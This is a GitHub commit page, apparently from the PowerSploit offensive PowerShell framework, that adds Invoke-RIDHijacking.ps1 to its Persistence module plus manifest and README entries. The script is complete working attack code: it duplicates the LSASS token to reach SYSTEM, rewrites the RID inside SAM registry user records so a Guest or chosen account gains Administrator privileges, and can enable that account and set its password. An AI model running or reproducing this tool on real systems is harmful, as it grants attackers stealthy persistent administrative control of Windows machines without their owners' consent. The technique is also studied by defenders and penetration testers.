Skip to content

Commit 9262c8d

Browse files
committed
Merge remote-tracking branch 'r4wd3r/ridhijack'
2 parents 286169e + 8fc62cc commit 9262c8d

File tree

3 files changed

+336
-2
lines changed

3 files changed

+336
-2
lines changed

Persistence/Invoke-RIDHijacking.ps1

Lines changed: 331 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,331 @@
1+
#Requires -Version 2
2+
3+
function Invoke-RIDHijacking {
4+
5+
<#
6+
7+
.SYNOPSIS
8+
This script will create an entry on the target by modifying some properties of an existing account.
9+
It will change the account attributes by setting a Relative Identifier (RID), which should be owned
10+
by one existing account on the destination machine.
11+
12+
Taking advantage of some Windows Local Users Management integrity issues, this module will allow to
13+
authenticate with one known account credentials (like GUEST account), and access with the privileges
14+
of another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled.
15+
16+
Author: Sebastian Castro @r4wd3r. E-mail: [email protected]. Twitter: @r4wd3r.
17+
License: BSD 3-Clause
18+
19+
.DESCRIPTION
20+
The RID Hijacking technique allows setting desired privileges to an existent account in a stealthy manner
21+
by modifying the Relative Identifier value copy used to create the access token. This module needs administrative privileges.
22+
23+
.PARAMETER User
24+
User account to use as the hijacker. If -UseGuest, this parameter will be ignored.
25+
26+
.PARAMETER Password
27+
Password value to set for the hijacker account.
28+
29+
.PARAMETER RID
30+
RID number in decimal of the victim account. Should be the RID of an existing account. 500 by default.
31+
32+
.PARAMETER UseGuest
33+
Set GUEST built-in account as the destination of the privileges to be hijacked.
34+
35+
.PARAMETER Enable
36+
Enable the hijacker account via registry modification.
37+
38+
.EXAMPLE
39+
Invoke-RIDHijacking -User alice -RID 500
40+
Set Administrator privileges to alice custom user.
41+
42+
.EXAMPLE
43+
Invoke-RIDHijacking -User alice -RID 500 -Password Password1
44+
Set Administrator privileges to alice custom user and set new password for alice.
45+
46+
.EXAMPLE
47+
Invoke-RIDHijacking -User alice -RID 500 -Password Password1 -Enable
48+
Set Administrator privileges to alice custom user, set new password for alice and enable alice's account.
49+
50+
.EXAMPLE
51+
Invoke-RIDHijacking -UseGuest -RID 500
52+
Set Administrator privileges to Guest Account. This could also work with the command Invoke-RIDHijacking -Guest.
53+
54+
.EXAMPLE
55+
Invoke-RIDHijacking -UseGuest -RID 500 -Password Password1
56+
Set Administrator privileges to Guest Account and setting new password for Guest.
57+
58+
.EXAMPLE
59+
Invoke-RIDHijacking -UseGuest -RID 1001
60+
Set custom account privileges to Guest Account. A custom local user with RID 1001 should exist.
61+
62+
.EXAMPLE
63+
Invoke-RIDHijacking -UseGuest -RID 1001 -Password Password1
64+
Set custom account privileges to Guest Account and set new password for Guest. A custom local user with
65+
RID 1001 should exist.
66+
67+
.EXAMPLE
68+
Invoke-RIDHijacking -User alice -RID 1002 -Password Password1 -Enable
69+
Set custom account privileges to alice custom user, set new password for alice and enable alice's account.
70+
A custom local user with RID 1002 should exist.
71+
72+
.NOTES
73+
Elevates privileges with LSASS token duplication:
74+
https://gallery.technet.microsoft.com/scriptcenter/Enable-TSDuplicateToken-6f485980
75+
Access to local users data stored in registry based on Get-LocalUsersInfo
76+
https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Get-username-fdcb6990
77+
78+
79+
.LINK
80+
https://csl.com.co/rid-hijacking/
81+
https://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html
82+
https://github.com/r4wd3r/RID-Hijacking
83+
84+
#>
85+
[CmdletBinding()] param(
86+
[Parameter(Position = 0,Mandatory = $False)]
87+
[string]
88+
$User,
89+
90+
[string]
91+
$Password,
92+
93+
[switch]
94+
$UseGuest,
95+
96+
[ValidateRange(500,65535)]
97+
[int]
98+
$RID = 500,
99+
100+
[switch]
101+
$Enable
102+
)
103+
104+
begin {
105+
# Checks SYSTEM privileges in the current thread or tries to elevate them via duplicating LSASS access token.
106+
Write-Verbose "Checking for SYSTEM privileges"
107+
if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) {
108+
Write-Output "[+] Process is already running as SYSTEM"
109+
}
110+
else {
111+
try {
112+
Write-Verbose "Trying to get SYSTEM privileges"
113+
Enable-TSDuplicateToken
114+
Write-Output "[+] Elevated to SYSTEM privileges"
115+
}
116+
catch {
117+
throw "Administrator or SYSTEM privileges are required"
118+
}
119+
}
120+
121+
# Obtains the needed registry values for each local user
122+
$localUsers = Get-UserKeys
123+
$currentUser = $null
124+
}
125+
126+
process {
127+
128+
# Set to currentUser the account to be used as the hijacker.
129+
Write-Verbose "Checking users..."
130+
if ($UseGuest) {
131+
$currentUser = $localUsers | Where-Object { $_.RID -eq 501 }
132+
}
133+
else {
134+
if ($User) {
135+
$currentUser = $localUsers | Where-Object { $_.UserName -contains $User }
136+
}
137+
}
138+
139+
# Verifies if the entered account exists.
140+
if ($currentUser) {
141+
"[+] Found {0} account" -f ($currentUser.UserName)
142+
"[+] Target account username: {0}" -f $currentUser.UserName
143+
"[+] Target account RID: {0}" -f $currentUser.RID
144+
}
145+
else {
146+
throw "User does not exists in system"
147+
}
148+
149+
# Creates a copy of the user's F REG_BINARY with requested modifications
150+
$FModified = New-Object Byte[] $currentUser.F.length
151+
for ($i = 0; $i -lt $currentUser.F.length; $i++) {
152+
if ($Enable -and ($i -eq 56)) {
153+
$FModified[$i] = 20
154+
continue
155+
}
156+
# Sets the new RID in the F REG_BINARY copy
157+
if ($RID -and ($i -eq 48)) {
158+
$hexRid = [byte[]][BitConverter]::GetBytes($RID)
159+
$FModified[$i],$FModified[$i + 1] = $hexRid[0],$hexRid[1]
160+
$i++
161+
continue
162+
}
163+
$FModified[$i] = $currentUser.F[$i]
164+
}
165+
166+
"[*] Current RID value in F for {0}: {1:x2}{2:x2}" -f ($currentUser.UserName,$currentUser.F[49],$currentUser.F[48])
167+
"[*] Setting RID $RID ({1:x2}{2:x2}) in F for {0} " -f ($currentUser.UserName,$FModified[49],$FModified[48])
168+
169+
# Writes changes to Registry
170+
$fPath = "HKLM:\SAM\SAM\Domains\Account\Users\{0:x8}" -f $currentUser.RID
171+
172+
try {
173+
Write-Verbose "Writing changes to registry: $fPath"
174+
Set-ItemProperty -Path $fPath -Name F -Value $FModified
175+
}
176+
catch {
177+
throw "Error writing in registry. Path: $fPath"
178+
}
179+
180+
if ($Enable) {
181+
Write-Output "[+] Account has been enabled"
182+
}
183+
184+
if ($Password) {
185+
Write-Output "[*] Setting password to user..."
186+
net user $currentUser.UserName $Password
187+
Write-Output "[+] Password set to $Password"
188+
}
189+
"[+] SUCCESS: The RID $RID has been set to the account {0} with original RID {1}" -f ($currentUser.UserName,$currentUser.RID)
190+
}
191+
}
192+
193+
function Get-UserName ([byte[]]$V) {
194+
if (-not $V) { return $null };
195+
$offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
196+
$len = [BitConverter]::ToInt32($V[0x10..0x13],0);
197+
return [Text.Encoding]::Unicode.GetString($V,$offset,$len);
198+
}
199+
200+
function Get-UserKeys {
201+
Get-ChildItem HKLM:\SAM\SAM\Domains\Account\Users |
202+
Where-Object { $_.PSChildName -match "^[0-9A-Fa-f]{8}$" } |
203+
Add-Member AliasProperty KeyName PSChildName -Passthru |
204+
Add-Member ScriptProperty UserName { Get-UserName ($this.GetValue("V")) } -Passthru |
205+
Add-Member ScriptProperty Rid { [Convert]::ToInt32($this.PSChildName,16) } -Passthru |
206+
Add-Member ScriptProperty F { [byte[]]($this.GetValue("F")) } -Passthru |
207+
Add-Member ScriptProperty FRid { [BitConverter]::ToUInt32($this.GetValue("F")[0x30..0x34],0) } -Passthru
208+
}
209+
210+
function Enable-TSDuplicateToken {
211+
212+
$signature = @"
213+
[StructLayout(LayoutKind.Sequential, Pack = 1)]
214+
public struct TokPriv1Luid
215+
{
216+
public int Count;
217+
public long Luid;
218+
public int Attr;
219+
}
220+
221+
public const int SE_PRIVILEGE_ENABLED = 0x00000002;
222+
public const int TOKEN_QUERY = 0x00000008;
223+
public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
224+
public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
225+
226+
public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
227+
public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
228+
public const UInt32 TOKEN_DUPLICATE = 0x0002;
229+
public const UInt32 TOKEN_IMPERSONATE = 0x0004;
230+
public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
231+
public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
232+
public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
233+
public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
234+
public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
235+
public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
236+
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
237+
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
238+
TOKEN_ADJUST_SESSIONID);
239+
240+
public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege";
241+
public const int ANYSIZE_ARRAY = 1;
242+
243+
[StructLayout(LayoutKind.Sequential)]
244+
public struct LUID
245+
{
246+
public UInt32 LowPart;
247+
public UInt32 HighPart;
248+
}
249+
250+
[StructLayout(LayoutKind.Sequential)]
251+
public struct LUID_AND_ATTRIBUTES {
252+
public LUID Luid;
253+
public UInt32 Attributes;
254+
}
255+
256+
257+
public struct TOKEN_PRIVILEGES {
258+
public UInt32 PrivilegeCount;
259+
[MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
260+
public LUID_AND_ATTRIBUTES [] Privileges;
261+
}
262+
263+
[DllImport("advapi32.dll", SetLastError=true)]
264+
public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int
265+
SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);
266+
267+
268+
[DllImport("advapi32.dll", SetLastError=true)]
269+
[return: MarshalAs(UnmanagedType.Bool)]
270+
public static extern bool SetThreadToken(
271+
IntPtr PHThread,
272+
IntPtr Token
273+
);
274+
275+
[DllImport("advapi32.dll", SetLastError=true)]
276+
[return: MarshalAs(UnmanagedType.Bool)]
277+
public static extern bool OpenProcessToken(IntPtr ProcessHandle,
278+
UInt32 DesiredAccess, out IntPtr TokenHandle);
279+
280+
[DllImport("advapi32.dll", SetLastError = true)]
281+
public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
282+
283+
[DllImport("kernel32.dll", ExactSpelling = true)]
284+
public static extern IntPtr GetCurrentProcess();
285+
286+
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
287+
public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
288+
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
289+
"@
290+
291+
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal ([Security.Principal.WindowsIdentity]::GetCurrent())
292+
if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
293+
throw "Run the Command as an Administrator"
294+
break
295+
}
296+
297+
Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv
298+
$adjPriv = [AdjPriv.AdjPriv]
299+
[long]$luid = 0
300+
301+
$tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid
302+
$tokPriv1Luid.Count = 1
303+
$tokPriv1Luid.Luid = $luid
304+
$tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED
305+
306+
$retVal = $adjPriv::LookupPrivilegeValue($null,"SeDebugPrivilege",[ref]$tokPriv1Luid.Luid)
307+
308+
[IntPtr]$htoken = [IntPtr]::Zero
309+
$retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(),[AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS,[ref]$htoken)
310+
311+
312+
$tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES
313+
$retVal = $adjPriv::AdjustTokenPrivileges($htoken,$false,[ref]$tokPriv1Luid,12,[IntPtr]::Zero,[IntPtr]::Zero)
314+
315+
if (-not ($retVal)) {
316+
[System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
317+
break
318+
}
319+
320+
$process = (Get-Process -Name lsass)
321+
[IntPtr]$hlsasstoken = [IntPtr]::Zero
322+
$retVal = $adjPriv::OpenProcessToken($process.Handle,([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -bor [AdjPriv.AdjPriv]::TOKEN_DUPLICATE),[ref]$hlsasstoken)
323+
324+
[IntPtr]$dulicateTokenHandle = [IntPtr]::Zero
325+
$retVal = $adjPriv::DuplicateToken($hlsasstoken,2,[ref]$dulicateTokenHandle)
326+
327+
$retval = $adjPriv::SetThreadToken([IntPtr]::Zero,$dulicateTokenHandle)
328+
if (-not ($retVal)) {
329+
[System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
330+
}
331+
}

Persistence/Persistence.psd1

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,5 @@ PowerShellVersion = '2.0'
2525
FunctionsToExport = '*'
2626

2727
# List of all files packaged with this module
28-
FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md'
29-
28+
FileList = 'Persistence.psm1', 'Persistence.psd1', 'Invoke-RIDHijacking.ps1', 'Usage.md'
3029
}

README.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -69,6 +69,10 @@ Installs a security support provider (SSP) dll.
6969

7070
Enumerates all loaded security packages (SSPs).
7171

72+
#### `Invoke-RIDHijacking`
73+
74+
Sets a RID value to a local account to spoof another account privileges.
75+
7276
## AntivirusBypass
7377

7478
**AV doesn't stand a chance against PowerShell!**

0 commit comments

Comments
 (0)